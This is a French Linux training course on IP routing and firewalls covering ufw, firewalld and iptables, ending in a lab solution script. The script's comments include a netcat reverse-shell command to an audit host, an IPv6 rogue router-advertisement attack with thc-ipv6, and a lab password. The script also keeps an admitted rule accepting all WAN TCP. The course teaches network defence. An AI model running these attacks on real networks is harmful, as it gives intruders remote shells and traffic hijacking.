François Goffinet

François Goffinet

Routage et Pare-feu

Le pare-feu examine le trafic entrant, le trafic sortant et le trafic transféré. On trouvera ici une introduction au routage statique et dynamique sous Linux, les principes fondamentaux des concepts de pare-feu, le pare-feu Ubuntu par défaut ufw, le pare-feu Red Hat par défaut firewalld et le pare-feu Linux natif Netfilter avec ses commandes iptables.

1. Routage IP

Le routage IP est le principe de transmission qui permet à deux ordinateurs placés à des endroits d’extrémité (dans le monde) de communiquer directement entre eux. L’Internet est constitué d’un ensemble de routeurs chargés de transférer les paquets de l’Internet Protocol vers leur destination finale.

Aujourd’hui, l’Internet tel qu’il est encore largement utilisé fonctionne dans sa version sous-optimale IPv4. Le protocole d’aujourd’hui est le protocole IPv6.

Concrètement, un routeur est un ordinateur spécialisé dans le transfert des paquets IPv4 et/ou IPv6 entre des interfaces qui connectent des réseaux et des technologies distinctes. Par nature, les interfaces disposent d’adresses IP appartenant à des domaines distincts.

Pour bien comprendre le principe du routage, il est souhaitable de monter une topologie représentative dans une solution de virtualisation quelconque ou en classe de formation, avec plusieurs partenaires disposant de leurs PCs.

En fin de chapitre, il est proposé de mettre en oeuvre les concepts de routage et par-feu dans une topologie virtuelle représentative.

1.1. Activation du routage

Il est trivial d’activer le routage sous Linux, en tant que root :

cat /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

Pour la persitence modifier le fichier /etc/sysctl.confen changeant la valeur de la ligne :

echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf
echo 0 > /proc/sys/net/ipv4/ip_forward
systemctl restart network

cat /proc/sys/net/ipv4/ip_forward
1

1.2. Exercice de routage statique

Chaque participant prendra une plage IPv4 différente : 192.168.100.0/24, 192.168.101.0/24, 192.168.102.0/24, …

Par exemple :

ipcalc -nmb 192.168.113.0/24

NETMASK=255.255.255.0
BROADCAST=192.168.113.255
NETWORK=192.168.113.0

Activation du routage

En équipe de deux.

Ajouter une interface dummy :

sudo lsmod | grep 'dummy'

modprobe dummy
lsmod | grep 'dummy'

dummy                  12960  0

ip link set name eth1 dev dummy0
  • Attribuer une adresse IP dans un domaine unique
  • Activer le routage
  • Entrer une route statique vers le réseau privé du voisin et tenter de joindre cette adresse privée
  • Tenter de joindre l’adresse d’un voisin sur le réseau local avec ping -I désigant l’adresse de l’interface privée comme source (ici eth1).

1.3. Exercice de routage dynamique

Démon de routage OSPF

Dans la classe de formation isolée.

Vérifier l’activation du routage et éventuellement corriger la situation :

sudo cat /proc/sys/net/ipv4/ip_forward

1

Installer Quagga (Zebra avec ospfd) :

sudo yum install quagga
sudo cp /usr/share/doc/quagga-0.99.22.4/ospfd.conf.sample /etc/quagga/ospfd.conf
sudo chown quagga:quagga /etc/quagga/ospfd.conf

Configuer SELinux :

sudo setsebool -P zebra_write_config 1

Désactiver le pare-feu :

sudo systemctl stop firewalld

Démarrer Zebra :

sudo systemctl start zebra
sudo systemctl status zebra

Entrer dans une console de type Cisco et commencer la configuration :

vtysh

Quand cela sera nécessaire, démarrer Ospfd :

sudo systemctl start ospfd
sudo systemctl status ospfd

On trouvera un exemple de lab virtualisé avec Qemu/KVM sur Virt-scripts Lab103 : OSPF quad pod

2. Pare-feu / Firewall

  • Dans un système d’information, les politiques de filtrage et de contrôle du trafic sont placées sur un matériel ou un logiciel intermédiaire communément appelé pare-feu (firewall).
  • Cet élément du réseau a pour fonction d’examiner et filtrer le trafic qui le traverse.
  • On peut le considérer comme une fonctionnalité d’un réseau sécurisé : la fonctionnalité pare-feu.
  • L’idée qui prévaut à ce type de fonctionnalité est le contrôle des flux du réseau TCP/IP.
  • Le pare-feu limite le taux de paquets et de connexions actives. Il reconnaît les flux applicatifs.

2.1. Objectifs d’un pare-feu

Il a pour objectifs de répondre aux menaces et attaques suivantes, de manière non-exhaustive :

  • Usurpation d’identité.
  • La manipulation d’informations.
  • Les attaques de déni de service (DoS/DDoS).
  • Les attaques par code malveillant.
  • La fuite d’information.
  • Les accès non-autorisé (en vue d’élévation de privilège).
  • Les attaques de reconnaissance, d’homme du milieu, l’exploitation de TCP/IP.

2.2. Ce que le pare-feu ne fait pas

Le pare-feu est central dans une architecture sécurisée mais :

  • Il ne protège pas des menaces internes.
  • Il n’applique pas tout seul les politiques de sécurité et leur surveillance.
  • Il n’établit pas la connectivité par défaut.
  • Le filtrage peut intervenir à tous les niveaux TCP/IP de manière très fine.

2.3. Fonctionnement

  • Il a pour principale tâche de contrôler le trafic entre différentes zones de confiance, en filtrant les flux de données qui y transitent.
  • Généralement, les zones de confiance incluent l’Internet (une zone dont la confiance est nulle) et au moins un réseau interne (une zone dont la confiance est plus importante).
  • Le but est de fournir une connectivité contrôlée et maîtrisée entre des zones de différents niveaux de confiance, grâce à l’application de la politique de sécurité et d’un modèle de connexion basé sur le principe du moindre privilège.
  • Un pare-feu fait souvent office de routeur et permet ainsi d’isoler le réseau en plusieurs zones de sécurité appelées zones démilitarisées ou DMZ. Ces zones sont séparées suivant le niveau de confiance qu’on leur porte.

2.4. Zone de confiance sur un pare-feu

Organisation du réseau en zones :

Zones de confiance

2.5. Niveau de confiance

  • Le niveau de confiance est la certitude que les utilisateurs vont respecter les politiques de sécurité de l’organisation.
  • Ces politiques de sécurité sont édictées dans un document écrit de manière générale. Ces recommandations touchent tous les éléments de sécurité de l’organisation et sont traduites particulièrement sur les pare-feu en différentes règles de filtrage.
  • On notera que le pare-feu n’examine que le trafic qui le traverse et ne protège en rien des attaques internes, notamment sur le LAN.

2.6. Politiques de filtrage

  • Selon les besoins, on placera les politiques de filtrage à différents endroits du réseau, au minimum sur chaque hôte contrôlé (pare-feu local) et en bordure du réseau administré sur le pare-feu. Ces emplacements peuvent être distribué dans la topologie selon sa complexité.
  • Pour éviter qu’il ne devienne un point unique de rupture, on s’efforcera d’assurer la redondance des pare-feu. On placera plusieurs pare-feu dans l’architecture du réseau à des fins de contrôle au plus proche d’une zone ou pour répartir la charge.

2.7. Filtrage

La configuration d’un pare-feu consiste la plupart du temps en un ensemble de règles qui déterminent une action de rejet ou d’autorisation du trafic qui passe les interfaces du pare-feu en fonction de certains critères tels que :

  • l’origine et la destination du trafic,
  • des informations d’un protocole de couche 3 (IPv4, IPv6, ARP, etc.),
  • des informations d’un protocole de couche 4 (ICMP, TCP, UDP, ESP, AH, etc.)
  • et/ou des informations d’un protocole applicatif (HTTP, SMTP, DNS, etc.).

2.8. Décision de filtrage

  • Les règles sont appliquées en fonction de la direction du trafic entrant ou sortant sur une interface, avant ou après le processus de routage des paquets. Cette dernière réalité diffère selon le logiciel ou le matériel choisi pour remplir ces tâches.
  • Ici l’exemple de la table filter de Netfilter :
filter table

2.9. Règles

Chaque règle est examinée selon son ordonnancement. Si le trafic ne correspond pas à la première règle, la seconde règle est évaluée et ainsi de suite. Lorsqu’il y a correspondance entre les critères de la règle et le trafic, l’action définie est exécutée et les règles suivantes ne sont pas examinées. La terminologie des actions usuelles peuvent être accept, permit, deny, block, reject, drop, ou similaires. En général, un ensemble de règles se termine par le refus de tout trafic, soit en dernier recours le refus du trafic qui traverse le pare-feu. Ce comportement habituellement défini par défaut ou de manière implicite refuse tout trafic pour lequel il n’y avait pas de correspondance dans les règles précédentes.

2.10 Politique de filtrage typique

On peut résumer des politiques de filtrage typique :

  • LAN > WAN
  • WAN X LAN
  • LAN > DMZ
  • DMZ X LAN
  • WAN X DMZ (sauf TCP80 par exemple)
  • DMZ > WAN

3. Pare-feu personnel Debian/Ubuntu

3.1. Uncomplicated Firewall (ufw)

Sous Debian / Ubuntu :

sudo apt -y install ufw

sudo ufw status

Status: inactive

sudo ufw disable

Firewall stopped and disabled on system startup

sudo ufw status

Status: inactive

sudo ufw enable

Firewall is active and enabled on system startup

sudo ufw status verbose

Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing)
New profiles: skip

sudo ufw allow ssh

Rule added
Rule added (v6)

sudo ufw status verbose

Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing)
New profiles: skip

To                         Action      From
--                         ------      ----
22                         ALLOW IN    Anywhere
22                         ALLOW IN    Anywhere (v6)

3.2. Gestion des règles par défaut

Lorsque UFW est activé, par défaut le trafic entrant est refusé et le trafic sortant est autorisé. C’est en général le réglage à privilégier, cependant vous pouvez tout de même modifier ces règles.

Autoriser le trafic entrant suivant les règles par défaut :

sudo ufw default allow

Refuser le trafic entrant suivant les règles par défaut :

sudo ufw default deny

Autoriser le trafic sortant suivant les règles par défaut :

sudo ufw default allow outgoing

Refuser le trafic sortant suivant les règles par défaut :

sudo ufw default deny outgoing

3.3. Activer/désactiver la journalisation

Activer la journalisation :

sudo ufw logging on

Désactiver la journalisation :

sudo ufw logging off

3.4. Ajouter/supprimer des règles

  • [port] est à remplacer par le numéro du port désiré.
  • [règle] est à remplacer par le numéro du port ou le nom du service désiré.
  • [numéro] est à remplacer par le numéro de la règle désiré.

Autoriser une connexion entrante :

sudo ufw allow [règle]

Refuser une connexion entrante :

sudo ufw deny [règle]

Refuser une IP entrante :

Si vous voulez bloquer une IP sur tous vos services, il faut le faire “avant” les autorisations existantes. D’où le “insert 1” qui met ce “deny” avant tous les “allow”. Dans le cas d’une série d’IP à bloquer vous pouvez utiliser à chaque entrée le “insert 1”, pas besoin de spécifier dans le cas présent une autre place sudo ufw insert 1 deny from [ip]

Refuser une connexion entrante, uniquement en TCP :

sudo ufw deny [port]/tcp

Refuser une connexion sortante :

sudo ufw deny out [règle]

Supprimer une règle :

sudo ufw delete allow "ou deny" [règle]

Supprimer simplement une règle d’après son numéro :

sudo ufw delete [numéro]

3.5. Règles simples

La syntaxe des règles. Voici quelques exemples pour comprendre la syntaxe des règles de configuration.

Ouverture du port 53 en TCP et UDP :

sudo ufw allow 53

Ouverture du port 25 en TCP uniquement :

sudo ufw allow 25/tcp

3.6. Utilisation des services

UFW regarde dans sa liste de services connus pour appliquer les règles standards associées à ces services (apache2, smtp, imaps, etc..). Ces règles sont automatiquement converties en ports.

Pour avoir la liste des services :

less /etc/services

Autoriser le service SMTP :

sudo ufw allow smtp

Autoriser le port de Gnome-Dictionary (2628/tcp) :

sudo ufw allow out 2628/tcp

Autoriser le protocole pop3 sécurisé (réception du courrier de Gmail et autres messageries utilisant ce protocole sécurisé) :

sudo ufw allow out pop3s

3.7. Règles complexes

L’écriture de règles plus complexes est également possible :

Refuser le protocole (proto) TCP à (to) tout le monde (any) sur le port (port) 80 :

sudo ufw deny proto tcp to any port 80

Refuser à (to) l’adresse 192.168.0.1 de recevoir sur le port (port) 25 les données provenant (from) du réseau de classe A et utilisant le protocole (proto) TCP :

sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 25

Refuser les données utilisant le protocole (proto) UDP provenant (from) de 1.2.3.4 sur le port (port) 514 :

sudo ufw deny proto udp from 1.2.3.4 to any port 514

Refuser à l’adresse 192.168.0.5 de recevoir toutes données provenant du serveur web de la machine hébergeant le pare-feu :

sudo ufw deny out from 192.168.0.5 to any port 80

3.8. Insérer une règle

Vous pouvez insérer une règle à une position précise en utilisant le numéro

sudo ufw insert [NUM] [RULE]

Insérer en numéro 2 une règle refusant le trafic entrant utilisant le protocole (proto) UDP (to) en direction de (any) toute les adresses en écoute sur votre machine sur le port (port) 514 en provenance (from) de 1.2.3.4

sudo ufw insert 2 deny proto udp to any port 514 from 1.2.3.4

Source : https://doc.ubuntu-fr.org/ufw

4. Firewalld

Le stack firewall

Firewalld est l’outil pare-feu intégré à Centos 7. Il est une surcouche aux logiciels natifs NetFilter (iptables entre autres). Il permet de manipuler des règles de pare-feu sur base de niveaux de confiance entre des zones. Son usage exige de se passer des règles et scripts ou services iptables.

Sous Debian, on l’installe facilement :

sudo apt -y install firewalld

On ira lire utilement la documentation détaillée en français sur [https://doc.fedora-fr.org/wiki/Parefeu_-firewall-FirewallD](https://doc.fedora-fr.org/wiki/Parefeu-firewall-_FirewallD) ou de manière plus efficace https://www.certdepot.net/rhel7-get-started-firewalld/.

On retiendra que la permanence des paramètres configurés avec Firewalld est assurée en ajoutant --permanent dans la commande. Aussi, après chaque changement de configuration, on recharge la configuration avec firewall-cmd --reload.

sudo systemctl status firewalld

● firewalld.service - firewalld - dynamic firewall daemon
   Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled)
   Active: active (running) since Mon 2016-04-11 13:45:25 EDT; 1 day 2h ago
 Main PID: 968 (firewalld)
   CGroup: /system.slice/firewalld.service
           └─968 /usr/bin/python -Es /usr/sbin/firewalld --nofork --nopid

Apr 11 13:43:33 localhost.localdomain systemd[1]: Starting firewalld - dynami...
Apr 11 13:45:25 localhost.localdomain systemd[1]: Started firewalld - dynamic...
Hint: Some lines were ellipsized, use -l to show in full.

4.1. Zones

man firewalld.zones

Un zone définit le niveau de confiance pour les connexions réseau. C’est une relation un à plusieurs, ce qui signifie qu’une connexion (une interface) n’appartient qu’à une seule zone mais une zone peut comprendre plusieurs interface distinctes.

sudo firewall-cmd --get-default-zone

public

sudo firewall-cmd --get-active-zones

public
  interfaces: eno16777736

sudo firewall-cmd --get-zone-of-interface=eno16777736

public

sudo firewall-cmd --get-zones

block dmz drop external home internal public trusted work

Sous Centos7, l’emplacement /usr/lib/firewalld/zones/*.xml nous informe sur la nature des zones.

Zone Block

zone target "%%REJECT%%"
  • Unsolicited incoming network packets are rejected.
  • Incoming packets that are related to outgoing network connections are accepted.
  • Outgoing network connections are allowed.

Zone DMZ

  • For computers in your demilitarized zone that are publicly-accessible with limited access to your internal network.
  • Only selected incoming connections are accepted.
  • Service activé : ssh

Zone Drop

  • Unsolicited incoming network packets are dropped.
  • Incoming packets that are related to outgoing network connections are accepted.
  • Outgoing network connections are allowed.

Zone External

  • For use on external networks.
  • You do not trust the other computers on networks to not harm your computer.
  • Only selected incoming connections are accepted.
  • Service activé : ssh
  • NAT activé

Zone Home

  • For use in home areas.
  • You mostly trust the other computers on networks to not harm your computer.
  • Only selected incoming connections are accepted.
  • Services activés : ssh, ipp-client, mdns, samba-client, dhcpv6-client

Zone Internal

  • For use on internal networks.
  • You mostly trust the other computers on the networks to not harm your computer.
  • Only selected incoming connections are accepted.
  • Services activés : ssh, ipp-client, mdns, samba-client, dhcpv6-client

Zone Public

  • For use in public areas. You do not trust the other computers on networks to not harm your computer.
  • Only selected incoming connections are accepted.
  • Services activés : ssh, dhcpv6-client

Zone Trusted

All network connections are accepted.

Zone Work

  • For use in work areas.
  • You mostly trust the other computers on networks to not harm your computer.
  • Only selected incoming connections are accepted.
  • Services activés : ssh, dhcpv6-client

4.2. Vérification de la configuration d’une zone

sudo firewall-cmd --permanent --zone=public --list-all

public (default)
  interfaces:
  sources:
  services: dhcpv6-client ssh
  ports:
  masquerade: no
  forward-ports:
  icmp-blocks:
  rich rules:

sudo firewall-cmd --permanent --zone=internal --list-all

internal
  interfaces:
  sources:
  services: dhcpv6-client ipp-client mdns samba-client ssh
  ports:
  masquerade: no
  forward-ports:
  icmp-blocks:
  rich rules:

4.3. Ajouter une interface dans une zone

firewall-cmd [--permanent] --zone=zone --add-interface=interface

Il est conseillé de fixer l’appartenance à une zone dans le fichier de configuration de l’interface

4.4. Création d’une zone

sudo firewall-cmd --permanent --new-zone=testzone
sudo firewall-cmd --reload
sudo firewall-cmd --get-zones

block dmz drop external home internal public testzone trusted work

4.5. Sources

Ajouter des adresse source dans la zone :

sudo firewall-cmd --permanent --zone=trusted --add-source=192.168.1.0/24
sudo firewall-cmd --reload
sudo firewall-cmd --zone=trusted --list-sources

192.168.1.0/24

4.6. Services

sudo firewall-cmd --get-services

4.7. Ports

sudo firewall-cmd --zone=internal --add-port=443/tcp

sudo firewall-cmd --zone=internal --list-ports

443/tcp

4.8. Masquerading

sudo firewall-cmd --zone=external --add-masquerade

4.9. Transfert de ports

sudo firewall-cmd --zone=external --add-forward-port=port=22:proto=tcp:toport=2222
sudo firewall-cmd --reload

4.10. Revenir à iptables

FirewallD est le logiciel pare-feu RHEL7 pour la gestion du pare-feu. Si l’on veut utiliser Netfilter natif, il faut arrêter le pare-feu Firewalld :

sudo systemctl stop firewalld

Pour démarrer iptables :

sudo systemctl start iptables

Pour sauvegarder les règles iptables :

sudo /sbin/iptables-save > /etc/sysconfig/iptables

Sous Debian, on activera le service “persistent” iptables-persistent :

sudo apt -y install iptables-persistent

5. Netfilter

Relation of the different Netfilter components to another

Source de l’image

5.1. Iptables : la théorie

Les règles de pare-feu sont examinées dans l’ordre de leur introduction avec la politique par défaut qui termine la liste (la chaîne). Chaque règles est une commande iptables ou ip6tables. Dès que la correspondance est trouvée, la liste s’arrête.

Trois tables : filter, nat et mangle

  • iptables et ip6tables sont les logiciels (interface utilisateur) de filtrage, de traduction d’adresses (NAT/PAT) et de transformation du trafic.
  • Trois usages, trois tables :
    • filter
    • nat
    • mangle
  • On ne parlera ici que des tables filter et nat, qui sont constituées de chaînes, sortes d’ACLs, elles-mêmes constituées de règles.

La table filter

La table filter filtre le trafic dans trois situations (chaînes) :

  • INPUT : à destination d’une interface du pare-feu
  • OUTPUT : sortant d’une interface du pare-feu
  • FORWARD : traversant le pare-feu d’une interface à une autre

Cibles possibles

L’option -j (jump) définit une cible (une action) :

  • ACCEPT : le paquet est accepté et pris en charge par les processus du noyau
  • DROP : le paquet est jeté, sans plus
  • REJECT : le paquet est jeté, mais un message d’erreur est renvoyé au destinataire
  • LOG : journalisation du trafic. passe à la règle suivante.
  • …
  • une autre chaîne utilisateur
filter table

La table NAT

  • Le NAT/PAT vise à réécrire les champs d’adresses et de ports TCP/IP du trafic qui traverse le pare-feu.
  • Il est principalement utile dans le cadre du manque d’adresses IPv4 globale.
  • Il peut intervenir avant que le trafic soit routé, en changeant l’adresse et le port de destination (DNAT, redirection), pour filtrer du trafic à destination d’un serveur
  • Il peut intervenir après que le trafic soit routé, en changeant d’adresse et le port source (SNAT, masquage) pour offrir une connectivité globale à un bloc IP privé

Chaînes de la table NAT

  • PREROUTING :
    • DNAT : redirection de port dans une DMZ
    • REDIRECT : redirection (vers un proxy)
  • POSTROUTING :
    • SNAT : NAT/PAT statique
    • MASQUERADE : NAT overload (masquage)

Cibles de la table nat

Syntaxe

iptables -t [filter, nat]

  • commandes : -A, -P, -I, -D, …
    • chaîne : [INPUT, OUTPUT, FORWARD]
      • critères : -i, -o, -s, -d, -p, -m, ….
        • -j : jump action ou règles utilisateur :
          • DROP, REJECT, ACCEPT, LOG, …

Commandes

  • -t : désigne la table [filter, nat]
  • -F : supprime toutes les chaînes prédéfinies
  • -X : supprime toutes les chaînes utilisateurs
  • -A : ajoute une règle à une chaîne (et à une table) suivi de critères et d’un jump
  • -D : supprime une règle
  • -I : insère une règle
  • -P : Définit la politique (ou cible) par défaut d’une chaîne. Seules les chaînes prédéfinies peuvent avoir un comportement par défaut. Cette cible ne sera appliquée qu’après l’exécution de la dernière règle de la chaîne.
  • -L -n -v : Liste les règles
  • -S : Liste les commandes
  • -j : jump : action : [DROP, REJECT, ACCEPT, LOG]

Les critères

Les critères peuvent être multiples :

  • Interface source ou destination.
  • Adresse IP source ou de destination.
  • Port source ou de destination.
  • Type de trame.
  • Nombre de paquets.
  • Paquet marqué par la table Mangle.
  • Etc.

Les critères de filtrage

  • -p <protocol-type> Protocole ; icmp, tcp, udp, et all
  • -s <ip-address> Adresse IP source
  • -d <ip-address> Adresse IP destination
  • -i <interface-name> nom d’interface d’entrée : eth0, eth1
  • -o <interface-name> nom d’interface de sortie : eth0, eth1
  • -p tcp --sport <port> port TCP source.
  • -p tcp --dport <port> port TCP destination.
  • -p tcp --syn Utilisé pour identifier une nouvelle requête de connexion. ! --syn signifie pas de nouvelle de requête de connexion
  • -p udp --sport <port> port UDP source.
  • -p udp --dport <port> port UDP destination.
  • --icmp-type <type> echo-reply, echo-request
  • -m multiport --sports <port, port>
  • -m multiport --dports <port, port>
  • -m multiport --ports <port, port>
  • -m --state <state>
    • ESTABLISHED: Le paquet fait partie d’une connexion qui a été constatée dans les deux directions.
    • NEW: Le paquet est le début d’une nouvelle connexion.
    • RELATED: Le paquet démarre une seconde nouvelle connexion
    • INVALID: Le paquet ne peut pas être identifié.

Chaînes Utilisateurs

Les chaînes utilisateurs sont des chaînes spécifiques définies par l’administrateur (autres que les chaînes prédéfinies PREROUTING, INPUT, FORWARD, OUTPUT et POSTROUTING).

Elles sont appelées :

  • par une ou d’autres chaînes utilisateurs ou,
  • par une ou plusieurs chaînes prédéfinies.

5.2. Vérification des règles

sudo iptables -t filter -L

sudo iptables -t nat -L

sudo iptables -t filter -L -n -v

5.3. Réinitialisation des règles

sudo iptables -F
sudo iptables -X
sudo iptables -t filter -L -n -v

Maintient des sessions établies :

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

5.4. Politique INPUT

Refus de tout trafic entrant sur son interface SSH et DHCP, sauf le trafic de loopback :

sudo iptables -t  filter -A INPUT -p tcp -i $int --dport ssh -j ACCEPT
sudo iptables -t  filter -A INPUT -p udp -i $int --dport 67:68 -j ACCEPT
sudo iptables -t  filter -A INPUT -p icmp --icmp-type echo-request -m limit --limit 100/s -i $int -j ACCEPT
sudo iptables -I INPUT 2 -i lo -j ACCEPT
sudo iptables -P INPUT DROP

5.5. Routage IP activation opportune

Vérification de l’activation du routage IPv4 :

sudo sysctl net.ipv4.ip_forward

ou

sudo cat /proc/sys/net/ipv4/ip_forward

Activation opportune du routage IPv4 :

sudo  sysctl -w net.ipv4.ip_forward=1

ou

sudo su -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'

5.6. Routage IP activation permanente

Activation permanente via sysctl : Editer/lire /etc/sysctl.conf et redémarrer le service :

sudo sysctl -p /etc/sysctl.conf

ou

sudo systemctl network restart

ou en debian

sudo /etc/init.d/procps.sh restart
  • Activation permanente Debian : éditer /etc/network/options
  • Activation permanente RHEL : éditer /etc/sysconfig/network

5.7. Chaine nat POSTROUTING

Activation simple du SNAT :

sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -t nat -L -n -v

5.8. Questions

  • Comment sauvegarder/restaurer ses règles ?
  • Comment créer une configuration sous forme de script ?
  • Quelle serait la configuration plus fine ?

5.9. Exemples Netfilter

6. Lab Netfilter

6.1. Avec le matériel suivant mis à disposition

  • une connectivité Internet
  • un routeur/pare-feu TL-WR841ND Linux OpenWRT Barrier Breaker (Netfilter) pré-configuré ou à l’aide du lab KVM.

6.2. A l’aide de la documentation jointe

  • Établir les connexions physiques en suivant le le diagramme de la topologie.
  • Configurer et vérifier les services IPv4/IPv6 :
    • Console Telnet, puis SSH seulement (root:testtest)
    • Adresses IP, routage IPv4/IPv6, NAT, DHCP Server, DNS Recursive Cache IPv4/IPv6, RA Server ULA, NTP sur le routeur/pare-feu.
  • Script netfilter IPv4
    • Réaliser, implémenter et valider un script précis et restrictif mettant en oeuvre la politique de filtrage décrite plus bas.
    • L’usage des commentaires, des variables pour les adresses et les interfaces ainsi que des chaînes utilisateurs est recommandé.
  • Réaliser l’attaque Reverse Backdoor Shell sur TCP 2222 sur le LAN en décrivant les conditions de mise en oeuvre sur la station d’audit et sur la station du LAN.

6.3. Consignes de sécurité

  • Appliquer des politiques par défaut restrictives.
  • Sécuriser le pare-feu lui-même de telle sorte :
    • que le trafic de Loopback soit autorisé et NATté,
    • qu’il puisse réaliser des mises-à-jour vers l’Internet (opkg update),
    • qu’il puisse utiliser des services externes DHCP, DNS et NTP ou rendre des services internes définis dans l’énoncé.
    • qu’il soit gérable à distance par uniquement par l’équipe informatique 192.168.1.10 (SSH, SYSLOG, SNMP)
  • En fonction de l’origine du trafic, il faudra adapter la politique de filtrage au strict nécessaire :
    • venant du LAN : NAT, HTTP, HTTPS, ICMP/ICMPv6 limité
    • venant du WAN : une règle autorisant l’attaque Backdoor Shell
    • venant du WAN : un accès SSH restrictif

6.4. Solution

#bien lire les consignes
#bien se documenter (travail personnel, cours, exemples, documents complémentaires)
#bien s'équiper (matériels et logiciels: un bon editeur, ssh, ...)

#1. Definition des variables
LANIF=br-lan
WANIF=eth1
ADMINIP=192.168.1.135
LANNET=192.168.1.0/24
AUDITIP=192.168.100.119
BINARY=iptables

#2. ->vidage des tables
${BINARY} -t filter -F
${BINARY} -t filter -X
${BINARY} -t nat -F

#3. ->Politiques par defaut (Consigne 1)
${BINARY} -P INPUT DROP
${BINARY} -P FORWARD DROP
${BINARY} -P OUTPUT ACCEPT


#4. ->NAT (Consignes 2a et 3a)
${BINARY} -t nat -A POSTROUTING -o ${WANIF} -j MASQUERADE

#5. ->Filtrage du trafic LAN/WAN HTTP/HTTPS/ICMP (Consigne 3a)
${BINARY} -A FORWARD -p tcp -i ${LANIF} -o ${WANIF} -d 0/0 --dport 80 -j ACCEPT
#test a partir du LAN : wget https://www.google.com
${BINARY} -A FORWARD -p tcp -i ${LANIF} -o ${WANIF} -d 0/0 --dport 443 -j ACCEPT
#test a partir du LAN : wget https://www.google.com
${BINARY} -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 100/s -i ${LANIF} -o ${WANIF} -j ACCEPT
#test a partir du LAN : ping www.google.com
${BINARY} -A FORWARD -i ${WANIF} -o ${LANIF} -m state --state RELATED,ESTABLISHED -j ACCEPT

#5.bis. Exceptions a decommenter pour du trafic de gestion/audit vers l'Internet
#iptables -A FORWARD -p tcp -i ${LANIF} -s ${ADMINIP} -o ${WANIF} -d 178.32.122.139 --dport 22 -j ACCEPT
${BINARY} -A FORWARD -p tcp -i ${LANIF} -s ${ADMINIP} -o ${WANIF} -d ${AUDITIP} --dport 22 -j ACCEPT

#6. Securisation du pare-feu (Consigne 2)
#->INPUT
#|-> Sessions administratives/surveillance SSH, SYSLOG, SNMP (Consigne 2d)
${BINARY} -A INPUT -p tcp -m state --state ESTABLISHED,RELATED --dport 22 -j ACCEPT
${BINARY} -A INPUT -p tcp -i ${LANIF} -s ${ADMINIP} --dport 22 -j ACCEPT
#iptables -A INPUT -p tcp -i ${LANIF} -s ${ADMINIP} --dport 80 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${LANIF} -s ${ADMINIP} --dport 514 -j ACCEPT
#Trafic de gestion DHCP/DNS/ICMP (Consigne 2c)
#|-> Trafic DHCP
${BINARY} -A INPUT -p udp -i ${LANIF} --dport 67 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${WANIF} --sport 67 -j ACCEPT
#|-> Trafic DNS
${BINARY} -A INPUT -p udp -i ${LANIF} -s ${LANNET} --dport 53 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${WANIF} --sport 53 -j ACCEPT
#|-> Trafic NTP
${BINARY} -A INPUT -p udp -i ${LANIF} -s ${LANNET} --dport 123 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${WANIF} --sport 123 -j ACCEPT
#|-> Trafic ICMP
${BINARY} -A INPUT -p icmp --icmp-type echo-request -m limit --limit 100/s -i ${LANIF} -s ${LANNET} -j ACCEPT
${BINARY} -A INPUT -p icmp --icmp-type echo-reply -m limit --limit 100/s -i ${WANIF} -j ACCEPT
#|-> Trafic de MAJ (non fonctionnel a corriger)
#verification nmap 192.168.1.1, dhcp release/renew, ntpdate, dig, ping
${BINARY} -A INPUT -p tcp -i ${WANIF} -j ACCEPT
#Acces SSH externe (Consigne 3c)
${BINARY} -A INPUT -p tcp -i ${WANIF} -s ${AUDITIP} --dport 22 -j ACCEPT
#7. Attaque Backdoor Shell (Consigne 3b)
#7.1. Dans le WAN monter un server nc dur le port TCP443 : nc -l -p 443
#7.2. Dans le LAN exécuter : nc ${AUDITIP} 443 -e cmd.exe
#8.1. Attaque TCPSYN sur le routeur ${WANIF}
#8.2. Attaque RA ICMPv6
#apt-get install libpcap-dev libssl-dev
#wget https://www.thc.org/releases/thc-ipv6-2.5.tar.gz
#make, make install
#sudo modprobe ipv6
#sudo fake_router6 eth0 2001:db8:dead::/64

Vous pourriez aimer aussi

Glossaire Ansible

49 minutes de lecture

Glossaire des termes utilisés dans le contexte Ansible

Configuration Ansible

48 minutes de lecture

Ce document propose d’examiner les principales options de configuration de Ansible sur le noeud de contrôle. Son architecture sans agent laisse le soin à chacun de configurer finement et personnellement le comportement par défaut de la solution. Le comportement d’Ansible peut être influencé de différentes manières : en configurant des variables d’environnement, en passant directement les paramètres sur la ligne de commande ansible ou ansible-playbook, en définissant un fic...